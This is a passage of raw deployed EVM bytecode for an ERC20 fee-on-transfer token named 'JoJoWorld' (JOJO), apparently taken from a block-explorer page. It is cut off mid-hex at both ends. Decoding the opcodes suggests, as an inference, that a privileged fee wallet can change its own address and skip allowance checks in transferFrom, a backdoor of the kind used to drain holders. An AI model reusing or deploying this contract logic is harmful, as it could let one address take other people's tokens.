ea565b60405180910390a35b5050505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156119205750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061191f575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561192d5781905061192e565b5b9392505050565b5f83831115829061197c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119739190611eb9565b60405180910390fd5b505f838561198a919061285d565b9050809150509392505050565b5f8083036119a7575f9050611a08565b5f82846119b49190612326565b90508284826119c391906128bd565b14611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa9061295d565b60405180910390fd5b809150505b92915050565b5f611a4f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611de8565b905092915050565b5f818311611a655782611a67565b815b905092915050565b6001600e60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611aa657611aa561297b565b5b604051908082528060200260200182016040528015611ad45781602001602082028036833780820191505090505b50905030815f81518110611aeb57611aea6129a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bb391906129e9565b81600181518110611bc757611bc66129a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c2d30600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bbc565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c8f959493929190612acb565b5f604051808303815f87803b158015611ca6575f80fd5b505af1158015611cb8573d5f803e3d5ffd5b50505050505f600e60156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611d3e573d5f803e3d5ffd5b5050565b5f808284611d509190612b23565b905083811015611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c90612ba0565b60405180910390fd5b8091505092915050565b5f611de083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611935565b905092915050565b5f8083118290611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e259190611eb9565b60405180910390fd5b505f8385611e3c91906128bd565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e8b82611e49565b611e958185611e53565b9350611ea5818560208601611e63565b611eae81611e71565b840191505092915050565b5f6020820190508181035f830152611ed18184611e81565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0682611edd565b9050919050565b611f1681611efc565b8114611f20575f80fd5b50565b5f81359050611f3181611f0d565b92915050565b5f819050919050565b611f4981611f37565b8114611f53575f80fd5b50565b5f81359050611f6481611f40565b92915050565b5f8060408385031215611f8057611f7f611ed9565b5b5f611f8d85828601611f23565b9250506020611f9e85828601611f56565b9150509250929050565b5f8115159050919050565b611fbc81611fa8565b82525050565b5f602082019050611fd55f830184611fb3565b92915050565b611fe481611f37565b82525050565b5f602082019050611ffd5f830184611fdb565b92915050565b5f805f6060848603121561201a57612019611ed9565b5b5f61202786828701611f23565b935050602061203886828701611f23565b925050604061204986828701611f56565b9150509250925092565b5f60ff82169050919050565b61206881612053565b82525050565b5f6020820190506120815f83018461205f565b92915050565b5f6020828403121561209c5761209b611ed9565b5b5f6120a984828501611f23565b91505092915050565b6120bb81611efc565b82525050565b5f6020820190506120d45f8301846120b2565b92915050565b5f80604083850312156120f0576120ef611ed9565b5b5f6120fd85828601611f23565b925050602061210e85828601611f23565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61214c602083611e53565b915061215782612118565b602082019050919050565b5f6020820190508181035f83015261217981612140565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612202578086048111156121de576121dd612180565b5b60018516156121ed5780820291505b80810290506121fb856121ad565b94506121c2565b94509492505050565b5f8261221a57600190506122d5565b81612227575f90506122d5565b816001811461223d576002811461224757612276565b60019150506122d5565b60ff84111561225957612258612180565b5b8360020a9150848211156122705761226f612180565b5b506122d5565b5060208310610133831016604e8410600b84101617156122ab5782820a9050838111156122a6576122a5612180565b5b6122d5565b6122b884848460016121b9565b925090508184048111156122cf576122ce612180565b5b81810290505b9392505050565b5f6122e682611f37565b91506122f183612053565b925061231e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461220b565b905092915050565b5f61233082611f37565b915061233b83611f37565b925082820261234981611f37565b915082820484148315176123605761235f612180565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61239b601783611e53565b91506123a682612367565b602082019050919050565b5f6020820190508181035f8301526123c88161238f565b9050919050565b5f819050919050565b5f819050919050565b5f6123fb6123f66123f1846123cf565b6123d8565b611f37565b9050919050565b61240b816123e1565b82525050565b5f60c0820190506124245f8301896120b2565b6124316020830188611fdb565b61243e6040830187612402565b61244b6060830186612402565b61245860808301856120b2565b61246560a0830184611fdb565b979650505050505050565b5f8151905061247e81611f40565b92915050565b5f805f6060848603121561249b5761249a611ed9565b5b5f6124a886828701612470565b93505060206124b986828701612470565b92505060406124ca86828701612470565b9150509250925092565b5f6040820190506124e75f8301856120b2565b6124f46020830184611fdb565b9392505050565b61250481611fa8565b811461250e575f80fd5b50565b5f8151905061251f816124fb565b92915050565b5f6020828403121561253a57612539611ed9565b5b5f61254784828501612511565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6125aa602483611e53565b91506125b582612550565b604082019050919050565b5f6020820190508181035f8301526125d78161259e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612638602283611e53565b9150612643826125de565b604082019050919050565b5f6020820190508181035f8301526126658161262c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6126c6602583611e53565b91506126d18261266c565b604082019050919050565b5f6020820190508181035f8301526126f3816126ba565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612754602383611e53565b915061275f826126fa565b604082019050919050565b5f6020820190508181035f83015261278181612748565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6127e2602983611e53565b91506127ed82612788565b604082019050919050565b5f6020820190508181035f83015261280f816127d6565b9050919050565b5f61282082611f37565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361285257612851612180565b5b600182019050919050565b5f61286782611f37565b915061287283611f37565b925082820390508181111561288a57612889612180565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128c782611f37565b91506128d283611f37565b9250826128e2576128e1612890565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612947602183611e53565b9150612952826128ed565b604082019050919050565b5f6020820190508181035f8301526129748161293b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506129e381611f0d565b92915050565b5f602082840312156129fe576129fd611ed9565b5b5f612a0b848285016129d5565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612a4681611efc565b82525050565b5f612a578383612a3d565b60208301905092915050565b5f602082019050919050565b5f612a7982612a14565b612a838185612a1e565b9350612a8e83612a2e565b805f5b83811015612abe578151612aa58882612a4c565b9750612ab083612a63565b925050600181019050612a91565b5085935050505092915050565b5f60a082019050612ade5f830188611fdb565b612aeb6020830187612402565b8181036040830152612afd8186612a6f565b9050612b0c60608301856120b2565b612b196080830184611fdb565b9695505050505050565b5f612b2d82611f37565b9150612b3883611f37565b9250828201905080821115612b5057612b4f612180565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612b8a601b83611e53565b9150612b9582612b56565b602082019050919050565b5f6020820190508181035f830152612bb781612b7e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209acfe03d81e353781fb3f4312c536e24e2f06f5f27fac69bff2c17b9372d39bb64736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100ea575f3560e01c8063715018a611610089578063bf474bed11610058578063bf474bed146102e3578063c9567bf91461030d578063dd62ed3e14610323578063ea414b281461035f576100f1565b8063715018a61461023d5780638da5cb5b1461025357806395d89b411461027d578063a9059cbb146102a7576100f1565b806318160ddd116100c557806318160ddd1461017157806323b872dd1461019b578063313ce567146101d757806370a0823114610201576100f1565b8062bbdb3d146100f557806306fdde031461010b578063095ea7b314610135576100f1565b366100f157005b5f80fd5b348015610100575f80fd5b50610109610387565b005b348015610116575f80fd5b5061011f610468565b60405161012c9190611eb9565b60405180910390f35b348015610140575f80fd5b5061015b60048036038101906101569190611f6a565b6104a5565b6040516101689190611fc2565b60405180910390f35b34801561017c575f80fd5b506101856104c2565b6040516101929190611fea565b60405180910390f35b3480156101a6575f80fd5b506101c160048036038101906101bc9190612003565b6104e5565b6040516101ce9190611fc2565b60405180910390f35b3480156101e2575f80fd5b506101eb6105c3565b6040516101f8919061206e565b60405180910390f35b34801561020c575f80fd5b5061022760048036038101906102229190612087565b6105cb565b6040516102349190611fea565b60405180910390f35b348015610248575f80fd5b50610251610611565b005b34801561025e575f80fd5b5061026761075f565b60405161027491906120c1565b60405180910390f35b348015610288575f80fd5b50610291610786565b60405161029e9190611eb9565b60405180910390f35b3480156102b2575f80fd5b506102cd60048036038101906102c89190611f6a565b6107c3565b6040516102da9190611fc2565b60405180910390f35b3480156102ee575f80fd5b506102f76107e0565b6040516103049190611fea565b60405180910390f35b348015610318575f80fd5b506103216107e6565b005b34801561032e575f80fd5b50610349600480360381019061034491906120da565b610a98565b6040516103569190611fea565b60405180910390f35b34801561036a575f80fd5b5061038560048036038101906103809190612087565b610b1a565b005b61038f610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041290612162565b60405180910390fd5b610423610bb5565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610465573d5f803e3d5ffd5b50565b60606040518060400160405280600981526020017f4a6f4a6f576f726c640000000000000000000000000000000000000000000000815250905090565b5f6104b86104b1610bb5565b8484610bbc565b6001905092915050565b5f6009600a6104d191906122dc565b633b9aca006104e09190612326565b905090565b5f6104f1848484610d7f565b6105b8846104fd610bb5565b6105b361050b88888861181e565b604051806060016040528060288152602001612bbf6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61056a610bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119359092919063ffffffff16565b610bbc565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610619610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069c90612162565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4a4f4a4f00000000000000000000000000000000000000000000000000000000815250905090565b5f6107d66107cf610bb5565b8484610d7f565b6001905092915050565b60065481565b6107ee610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087190612162565b60405180910390fd5b600e60149054906101000a900460ff16156108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c1906123b1565b60405180910390fd5b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610912306105cb565b5f8061091c61075f565b426040518863ffffffff1660e01b815260040161093e96959493929190612411565b60606040518083038185885af115801561095a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097f9190612484565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60146101000a81548160ff021916908315150217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a559291906124d4565b6020604051808303815f875af1158015610a71573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a959190612525565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b72575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c21906125c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f9061264e565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d729190611fea565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de4906126dc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e529061276a565b60405180910390fd5b5f8111610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e94906127f8565b60405180910390fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f0d5750610edd61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f4c5750610f1c61075f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610fbc57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561121d575f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110495750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156110a25750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110f5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611150576111366064611128600a54600c541161111557600854611119565b6009545b8561199790919063ffffffff16565b611a0e90919063ffffffff16565b9050600c5f81548092919061114a90612816565b91905055505b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111d85750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561121c57611219606461120b600a54600c54116111f8576008546111fc565b6009545b8561199790919063ffffffff16565b611a0e90919063ffffffff16565b90505b5b5f611227306105cb565b90505f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611298575061126861075f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156112d757506112a761075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561130f57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561134757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561135257505f83115b15611518573073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156113bf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113fe57506113ce61075f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561143d575061140d61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561151757600e60159054906101000a900460ff161580156114ab5750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114c35750600e60169054906101000a900460ff165b80156114d25750600b54600c54115b15611516576006548111156114ff576114fe6114f9826114f486600754611a57565b611a57565b611a6f565b5b5f4790505f81106115145761151347611cda565b5b505b5b5b5f821115611617576115708260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4290919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161160e9190611fea565b60405180910390a35b6116678360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9f90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061170a6116be8385611d9f90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611817578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118018587611d9f90919063ffffffff16565b60405161180e9190611fea565b60405180910390a35b5050505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156119205750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061191f575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561192d5781905061192e565b5b9392505050565b5f83831115829061197c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119739190611eb9565b60405180910390fd5b505f838561198a919061285d565b9050809150509392505050565b5f8083036119a7575f9050611a08565b5f82846119b49190612326565b90508284826119c391906128bd565b14611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa9061295d565b60405180910390fd5b809150505b92915050565b5f611a4f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611de8565b905092915050565b5f818311611a655782611a67565b815b905092915050565b6001600e60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611aa657611aa561297b565b5b604051908082528060200260200182016040528015611ad45781602001602082028036833780820191505090505b50905030815f81518110611aeb57611aea6129a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bb391906129e9565b81600181518110611bc757611bc66129a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c2d30600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bbc565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c8f959493929190612acb565b5f604051808303815f87803b158015611ca6575f80fd5b505af1158015611cb8573d5f803e3d5ffd5b50505050505f600e60156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611d3e573d5f803e3d5ffd5b5050565b5f808284611d509190612b23565b905083811015611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c90612ba0565b60405180910390fd5b8091505092915050565b5f611de083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611935565b905092915050565b5f8083118290611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e259190611eb9565b60405180910390fd5b505f8385611e3c91906128bd565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e8b82611e49565b611e958185611e53565b9350611ea5818560208601611e63565b611eae81611e71565b840191505092915050565b5f6020820190508181035f830152611ed18184611e81565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0682611edd565b9050919050565b611f1681611efc565b8114611f20575f80fd5b50565b5f81359050611f3181611f0d565b92915050565b5f819050919050565b611f4981611f37565b8114611f53575f80fd5b50565b5f81359050611f6481611f40565b92915050565b5f8060408385031215611f8057611f7f611ed9565b5b5f611f8d85828601611f23565b9250506020611f9e85828601611f56565b9150509250929050565b5f8115159050919050565b611fbc81611fa8565b82525050565b5f602082019050611fd55f830184611fb3565b92915050565b611fe481611f37565b82525050565b5f602082019050611ffd5f830184611fdb565b92915050565b5f805f6060848603121561201a57612019611ed9565b5b5f61202786828701611f23565b935050602061203886828701611f23565b925050604061204986828701611f56565b9150509250925092565b5f60ff82169050919050565b61206881612053565b82525050565b5f6020820190506120815f83018461205f565b92915050565b5f6020828403121561209c5761209b611ed9565b5b5f6120a984828501611f23565b91505092915050565b6120bb81611efc565b82525050565b5f6020820190506120d45f8301846120b2565b92915050565b5f80604083850312156120f0576120ef611ed9565b5b5f6120fd85828601611f23565b925050602061210e85828601611f23565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61214c602083611e53565b915061215782612118565b602082019050919050565b5f6020820190508181035f83015261217981612140565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612202578086048111156121de576121dd612180565b5b60018516156121ed5780820291505b80810290506121fb856121ad565b94506121c2565b94509492505050565b5f8261221a57600190506122d5565b81612227575f90506122d5565b816001811461223d576002811461224757612276565b60019150506122d5565b60ff84111561225957612258612180565b5b8360020a9150848211156122705761226f612180565b5b506122d5565b5060208310610133831016604e8410600b84101617156122ab5782820a9050838111156122a6576122a5612180565b5b6122d5565b6122b884848460016121b9565b925090508184048111156122cf576122ce612180565b5b81810290505b9392505050565b5f6122e682611f37565b91506122f183612053565b925061231e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461220b565b905092915050565b5f61233082611f37565b915061233b83611f37565b925082820261234981611f37565b915082820484148315176123605761235f612180565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61239b601783611e53565b91506123a682612367565b602082019050919050565b5f6020820190508181035f8301526123c88161238f565b9050919050565b5f819050919050565b5f819050919050565b5f6123fb6123f66123f1846123cf565b6123d8565b611f37565b9050919050565b61240b816123e1565b82525050565b5f60c0820190506124245f8301896120b2565b6124316020830188611fdb565b61243e6040830187612402565b61244b6060830186612402565b61245860808301856120b2565b61246560a0830184611fdb565b979650505050505050565b5f8151905061247e81611f40565b92915050565b5f805f6060848603121561249b5761249a611ed9565b5b5f6124a886828701612470565b93505060206124b986828701612470565b92505060406124ca86828701612470565b9150509250925092565b5f6040820190506124e75f8301856120b2565b6124f46020830184611fdb565b9392505050565b61250481611fa8565b811461250e575f80fd5b50565b5f8151905061251f816124fb565b92915050565b5f6020828403121561253a57612539611ed9565b5b5f61254784828501612511565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6125aa602483611e53565b91506125b582612550565b604082019050919050565b5f6020820190508181035f8301526125d78161259e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612638602283611e53565b9150612643826125de565b604082019050919050565b5f6020820190508181035f8301526126658161262c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6126c6602583611e53565b91506126d18261266c565b604082019050919050565b5f6020820190508181035f8301526126f3816126ba565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612754602383611e53565b915061275f826126fa565b604082019050919050565b5f6020820190508181035f83015261278181612748565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6127e2602983611e53565b91506127ed82612788565b604082019050919050565b5f6020820190508181035f83015261280f816127d6565b9050919050565b5f61282082611f37565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361285257612851612180565b5b600182019050919050565b5f61286782611f37565b915061287283611f37565b925082820390508181111561288a57612889612180565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128c782611f37565b91506128d283611f37565b9250826128e2576128e1612890565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612947602183611e53565b9150612952826128ed565b604082019050919050565b5f6020820190508181035f8301526129748161293b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506129e381611f0d565b92915050565b5f602082840312156129fe576129fd611ed9565b5b5f612a0b848285016129d5565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612a4681611efc565b82525050565b5f612a578383612a3d565b60208301905092915050565b5f602082019050919050565b5f612a7982612a14565b612a838185612a1e565b9350612a8e83612a2e565b805f5b83811015612abe578151612aa58882612a4c565b9750612ab083612a63565b925050600181019050612a915